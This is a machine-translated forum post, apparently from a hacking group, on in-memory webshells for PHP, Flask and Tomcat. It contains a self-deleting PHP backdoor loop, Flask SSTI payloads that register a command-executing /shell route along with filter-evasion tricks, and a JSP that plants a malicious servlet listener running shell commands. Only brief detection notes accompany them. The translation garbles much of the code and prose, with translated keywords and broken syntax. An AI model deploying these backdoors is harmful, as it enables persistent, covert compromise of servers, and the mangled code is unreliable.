KoreanHackerTeam
Moderator
Webshell 内存马分析
메모리 웹 쉘은 기존 웹 쉘보다 기존 보안 모니터링 장치의 탐지를 피하기가 더 쉽습니다. 일반적으로 대상 서버에 지속적으로 지속되고 감지를 피하는 데 사용됩니다. 파일없는 공격, 메모리 웹 쉘 및 프로세스 주입과 같은 메모리 기반 공격도 대부분의 공격자가 선호합니다.1 PHP 内存马
1.1 原理
PHP 메모리 말은 PHP 불멸의 말이 불멸의 말을 시작하고 스스로 삭제하고 메모리에서 죽은 루프를 실행하여 관리자가 트로이 목마 파일을 삭제할 수 없다는 것입니다.1
2
3
4
5
6
7
8
9
10
? php
set_time_limit (0);
ingore_user_abort (1);
Unlink (__ file__);
(1) {
$ content='? php @eval ($ _ post ['zzz '])?';
file_put_contents ( 'config.php', $ content);
usleep (10000);
}
?
ingore_user_abort : 클라이언트의 기능 설정이 스크립트 실행을 종료할지 여부. true로 설정되면 사용자와의 연결이 끊김이 무시됩니다.
set_time_limit : 스크립트를 몇 초 만에 실행할 수있는 시간을 설정합니다. 0 (0)으로 설정하면 시간 제한이 없습니다.
1.2 检测
모든 PHP 프로세스 처리 요청 기간 확인실행 파일이 실제로 파일 시스템에 존재하는지 여부를 감지합니다.
2 Python 内存马
2.1 原理
파이썬 메모리 말은 플라스크 프레임 워크에서 SSTI 주입을 사용하여 구현됩니다. Flask Framework에서 Render_template_string ()은 웹 응용 프로그램 템플릿 렌더링 프로세스에서 렌더링하는 데 사용되지만 사용자가 전송 한 코드는 필터링되지 않으므로 사용자가 악의적 인 코드를 주입하여 Python 메모리 말의 주입을 구현할 수 있습니다.플라스크 프레임 워크 아래의 메모리 말은 IceHexman Github에서 연구되었습니다.
2.1.1 flask route
필터와 같은 라우팅 메커니즘을 등록하기위한 아날로그 Tomcat. 파이썬 메모리 말을 구현하려면 플라스크가 라우팅을 동적으로 등록 할 수 있는지 여부도 연구해야합니다.플라스크를 등록하는 일반적인 방법은 Decorator @app.route ()를 사용하는 것입니다. 실제 작업 기능은 Decorator self.add_url_rule ()에서 호출되는 방법입니다.

add_url_rule에는 세 가지 매개 변수가 필요합니다.
URL : Decorator app.route ()의 첫 번째 매개 변수와 마찬가지로 /부터 시작해야합니다.
엔드 포인트 : URL_FOR ()를 사용하여 점프를 사용하면이에서 전달 된 첫 번째 매개 변수는이 엔드 포인트의 해당 값입니다. 이 값도 지정할 수 없으며 기본값은 함수 이름입니다.
View_Func : 메소드 이름을 작성하십시오 (익명 매개 변수도 가능). 메소드 이름을 사용하는 경우 브래킷을 추가하지 마십시오. 함수의 리턴 값이 view_func 매개 변수로 전달됨을 나타 내기 위해 브래킷을 추가하십시오.
2.1.2 flask context
메모리 웹 쉘을 구현하려면 핵심 포인트는 view_func입니다. View_Func은 매개 변수 값을 캡처하고 명령을 실행하며 응답하는 익명 기능 정의 로직을 사용할 수 있습니다.플라스크 작동 방식 : 요청이 플라스크에 들어가면 요청 컨텍스트가 먼저 인스턴스화됩니다. 이 컨텍스트는 요청에서 요청 된 정보를 캡슐화 하고이 컨텍스트를 스택 _request_ctx_stack의 구조에 넣습니다. 즉, 현재 요청 컨텍스트를 얻는 것은 _request_ctx_stack _request_ctx_stack.top의 상단 요소를 얻는 것과 같습니다.
2.1.3 flask 内置函数
표현식은 {{.}}를 통해 실행할 수 있지만 네임 스페이스는 제한되어 있으며 내장이 없으므로 Eval 및 Pop과 같은 기능을 사용할 수 없습니다. 그러나 모든 함수의 func_globals를 통해 네임 스페이스를 얻을 수 있으며 빌드 딘을 얻을 수 있습니다.플라스크에는 두 가지 내장 함수 url_for 및 get_flashed_messages가 있습니다. 즉, 명령 실행을 구성하려면 다음을 사용할 수 있습니다.
1
2
3
{{url_for .__ globals __ [ '__ builtins __'] .__ import __ ( 'OS'). System ( 'ls')}}
{{url_for .__ globals __ [ '__ buildins __'] [ 'Eval'] ( '__ import __ ('os '). Popen ('whoami '). read ()')}}
2.2 实现
다음 데모 코드가 예입니다.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
플라스크 가져 오기 플라스크에서 요청
플라스크 가져 오기 렌더 _template_string에서
app=flask (__ name__)
@app.route ( '/')
def hello_world () :
'Hello World'반환
@app.route ( '/test', methods=[ 'get', 'post'])))
def test () :
템플릿='' ''
div class='Center-Content Error'
H1oops! 그 페이지는 존재하지 않습니다 ./H1
H3%S/H3
/div
'' %(request.values.get ( 'param'))
render_template_string (템플릿)을 반환합니다.
__name__=='__ 메인 __': 인 경우
app.run (포트=8000)
페이로드를 분해하십시오.
1
2
3
4
5
6
7
8
9
10
11
12
url_for .__ globals __ [ '__ buildins __'] [ 'Eval'] (
'app.add_url_rule (
'/껍데기',
'껍데기',
Lambda :__import __ ( 'OS'). Popen (_request_ctx_stack.top.request.args.get ( 'cmd', 'whoami')). read ()
))
',
{
'_request_ctx_stack':url_for .__ globals __ ['_ request_ctx_stack '],
'app':url_for .__ globals __ ['current_app ']
}
))
람다는 익명의 기능입니다. 페이로드에서 add_url_rule () 함수의 세 번째 매개 변수는 Lambda 익명 함수를 정의합니다. 웹 요청에서 얻은 CMD 매개 변수 값은 OS 라이브러리의 Popen () 함수를 통해 실행되며 결과를 반환합니다.
Eval () 메소드의 구문 :
1
eval (표현 [, Globals [, Locals]]))
글로벌 - 가변 범위, 글로벌 네임 스페이스는 제공된 경우 사전 대상이어야합니다. 글로벌 변수를 지정합니다.
최종 URL :
1
http://ip33608000/param? param={{url_for .__ globals __ [%27__builtins __%27] [%27eval%27] (%22app.add_ur L_RULE (%27/Shell%27,%20%27Shell%27,%20LAMBDA%20:__import __ (%27OS%27) .popen (_request_ctx_stack .top.request.args.get (%27cmd%27,%20%27whoami%27)). Read ())%22, {%27_request_ctx_stack%27:URL_F or

2.2 检测
모든 내장 모듈에는 Eval, Exec 및와 같은 코드를 실행할 수있는 기타 기능이 포함되어 있는지 확인하십시오. Class Warnings.catch_warnings, Class Site.quitter 등Self.add_url_rule (), 예를 들어 쉘과 같은 특수 이름이있는 경로를 감지합니다.
2.3 逃逸
Python Sandbox Escape 기술을 예로 들어 보겠습니다.url_for는 get_flashed_messages 또는 request.application으로 대체 할 수 있습니다 .__ self __._ get_data_for_json 등;
코드는 exec 등과 같은 함수 교체를 수행하여 평가를 대체합니다.
[ '__bui'+'ltins __'] [ 'ev'+'al'];
__globals___는 __getAttribute __ ( '__ globa'+'ls__')로 대체 될 수 있습니다.
[] 브래킷은 .__ getItem __ () 또는 .pop ()로 대체 할 수 있습니다.
…
3 Java 内存马
3.1 简介
Java 메모리 말은 현재 두 가지 범주로 나뉩니다.서블릿 -API 유형
명령 실행 및 기타 기능을 실현하기 위해 명령 실행 등을 통해 새로운 리스너, 필터 또는 서블릿을 동적으로 등록하십시오. 특정 프레임 워크 및 컨테이너에 대한 메모리 말의 원리는 스프링의 컨트롤러 메모리 말 및 Tomcat의 밸브 메모리 말과 같은 유사합니다.
바이트 코드가 향상되었습니다
Java의 계측을 통해 기존 코드를 동적으로 수정 한 다음 명령 실행 및 기타 기능을 구현하십시오.
3.2 原理
서블릿, 리스너 및 필터는 javax.servlet.servletcontext에 의해로드됩니다. XML 구성 파일 또는 주석 주석 구성을 사용하든 웹 컨테이너로 초기화하고 구성 속성을 읽은 다음 컨테이너에 등록하십시오.Servlet 3.0 API를 사용하면 ServletContext를 동적으로 등록하고 웹 컨테이너가 초기화 될 때 동적으로 등록 할 수 있습니다 (즉, ServletContext 객체가 생성 될 때). 다른 컨테이너 구현 방법은 약간 다릅니다. 다음은 주로 Tomcat을 예로 봅니다.
3.2.1 Tomcat
Tomcat 주로 4 가지 유형의 컨테이너, 엔진, 호스트, 컨텍스트 및 래퍼가 포함됩니다.엔진은 외부 인터페이스이며 여러 호스트를 구성 할 수 있습니다.
호스트는 여러 컨텍스트 (웹 응용 프로그램)를 포함 할 수 있습니다.
컨텍스트에는 여러 래퍼가 포함될 수 있습니다
각 래퍼는 1 개의 서블릿에 해당합니다

컨텍스트의 해당 웹 응용 프로그램, 각 컨텍스트에는 고유 한 경로가 있습니다. 여기서 경로는 서블릿에 묶인 웹 서비스 주소를 참조하지 않고 독립적 인 웹 응용 프로그램 주소를 나타냅니다. Tomat의 기본/주소 및 관리자 주소는 두 가지 다른 웹 응용 프로그램이므로 두 가지 다른 컨텍스트의 경우 컨텍스트를 추가하려면 Server.xml에서 docbase를 구성해야합니다.
웹 애플리케이션에서는 로그인 페이지, 배경 관리 등과 같은 여러 액세스 경로를 구성 할 수 있습니다. 동일한 컨텍스트의 다른 웹 서비스 주소의 경우 다른 랩퍼가 할당됩니다. 이는 각 컨텍스트가 다중 포장지에 해당 할 수 있고 각 래퍼가 하나의 서블릿에 해당 함을 보여줍니다. 동일한 웹 응용 프로그램 컨텍스트는 동일하지만 해당 래퍼는 다르고 다른 서블릿 서비스에 따라 다른 내용을 표시합니다.
기능
아이디어는 다음을 참조 할 수 있습니다
3.2.2 Listener 内存马
청취자는 웹 응용 프로그램의 생성, 파괴, 추가, 수정, 삭제 및 기타 작업에서 특정 객체의 발생을 듣는 데 사용됩니다. 청취 범위의 객체 상태가 변경되면 서버는 청취자 객체에서 메소드를 자동으로 호출합니다. 종종 웹 사이트에서 온라인으로 사람들의 수를 세고 시스템이로드 될 때 정보를 초기화하고 웹 사이트 방문 수 등을 세는 데 사용됩니다.주로 세 부분으로 구성됩니다.
이벤트 출처 : 듣는 대상
리스너 : 듣는 대상, 이벤트 소스의 변경은 청취자의 응답 동작을 유발합니다.
응답 동작 : 이벤트 소스의 상태가 변경 될 때 청취자가 수행하는 작업.
초기화 중에 이벤트 소스와 청취자가 구속되어야합니다. 즉, 리스너가 등록됩니다. 웹 사이트를 요청할 때 프로그램은 먼저 리스너 리스너의 내용을 자동으로 실행 한 다음 필터 필터를 실행합니다. 여러 필터가 있으면 필터 체인이 형성됩니다. 마지막 필터는 서블릿 서비스 메소드, 즉 리스너 - 필터 - 서블릿을 실행합니다.
리스너가 가장 먼저로드되므로 악의적 인 리스너의 동적 등록을 사용하여 메모리 말에 임플란트 할 수 있습니다.
리스너 카테고리
ServletContext LELTENS, 서버가 시작되고 종료되면 트리거됩니다
ServletContextListener : 전체 서블릿 컨텍스트를 듣는 데 사용됩니다 (생성, 파괴)
ServletContextAttRibuteListener : Servlet Context 속성 듣기 (속성 추가, 삭제 및 수정)
세션 듣기, 세션이 만들어지고 파괴 될 때 트리거
javax.servlet.http.httpsessionListener : 세션의 전체 상태를 듣습니다
javax.servlet.http.httpssessionattributeListener : 세션 속성 듣기
서비스에 액세스 할 때마다 청취를 요청하고 트리거됩니다
ServletRequestListener : 요청 요청 (생성, 파괴)
ServletRequestAttRiptipListener : 요청 속성 듣기 (속성 추가, 삭제 및 수정)
리스너를 동적으로 추가 할 수 있다면 청취 요청은 메모리 말을 이식하는 데 가장 적합합니다.
ServletRequestListener는 두 가지 방법을 제공합니다. 두 방법 모두 매개 변수로서 servletrequestevent를받습니다. ServletContext 객체 및 ServletRequest 객체는 ServletRequestEvent에 저장됩니다. 따라서 액세스 요청 프로세스 중에 메모리 말의 구현을 완료하기 위해 요청을 작성하고 파괴 할 때 귀하의 자체 악성 코드를 구현할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
%@ page import='org.apache.catalina.core.standardContext' %
%@ page import='org.apache.catalina.core.applicationContext' %
%@ page import='java.lang.reflect.field' %
%@ page import='java.util.*, javax.crypto.*, javax.crypto.spec.*'%
%@ page import='org.apache.jasper.tagplugins.jstl.core.out' %
%@ page import='java.io.ioexception' %
%@ page import='javax.servlet.annotation.webservlet' %
%@ page import='java.io.inputStreamReader' %
%@ page import='java.io.bufferedReader' %
비율
Object obj=request.getServletContext ();
필드 필드=obj.getClass (). getDeclaredfield ( 'context');
field.setAccessible (true);
ApplicationContext ApplicationContext=(ApplicationContext) field.get (OBJ);
field=applicationcontext.getClass (). getDeclaredfield ( 'context');
field.setAccessible (true);
StandardContext StandardContext=(StandardContext) field.get (ApplicationContext);
Listenh Listenh=New Listenh (요청, 응답);
StandardContext.addApplicationEventListener (ListenH);
out.print ( '테스트');
비율
%!
공개 클래스 Listenh 구현 servletrequestlistener {
공무원 응답 응답;
공무원 요청;
ListenH (ServletRequest 요청, ServletResponse 응답) {
this.request=요청;
this.response=응답;
}
public void requestDestroyed (servletrequestevent servletrequestevent) {
}
공개 void requestInitialized (servletrequestevent servletrequestevent) {
문자열 cmder=request.getParameter ( 'cmd');
문자열 [] cmd=new String [] { '/bin/sh', '-c', cmder};
노력하다 {
프로세스 ps=runtime.getRuntime (). exec (cmd);
bufferedReader br=new bufferedReader (new inputStreamReader (ps.getInputStream ()));
StringBuffer sb=new StringBuffer ();
문자열 라인;
while ((line=br.readline ())!=null) {
//실행 결과 플러스 리턴
sb.append (line) .append ( 'br');
}
문자열 결과=sb.tostring ();
this.response.getWriter (). 쓰기 (결과);
} catch (예외 e) {
System.out.println ( '오류');
}
}
}
비율
JSP를 통해 리스너를 동적으로 추가하십시오. 여기에서 ADD를 통해 직접 추가하므로 JSP 페이지에 액세스 할 때마다 리스너가 반복적으로 추가되어 악의적 인 페이로드가 반복적으로 실행됩니다. 성공적인 추가 후에는 기존 페이지에 액세스 할 수 있으며 실행될 명령에 액세스하고 JSP 파일이 삭제 된 경우에도 사용할 수 있습니다.
3.2.3 Filter 内存马
필터를 필터라고하며 Java에서 가장 일반적이고 실용적인 기술 중 하나입니다. 일반적으로 정적 웹 리소스, 액세스 제어, 로깅 및 기타 기능과 같은 추가 기능을 처리하는 데 사용됩니다. 요청이 서버에 들어가면 사용자 요청은 필터에 의해 전처리 된 다음 서블릿으로 넘겨집니다.계속하기 위해.
参考
웹 공격 및 방어 기술 | 메모리 말 분석메모리 말은 무엇입니까?
Tomcat Memory Horse Learning
하나의 기사에서 기억 말을 이해합니다
파이썬 플라스크 메모리 말
Tomcat Memory Horse에 대한 예비 연구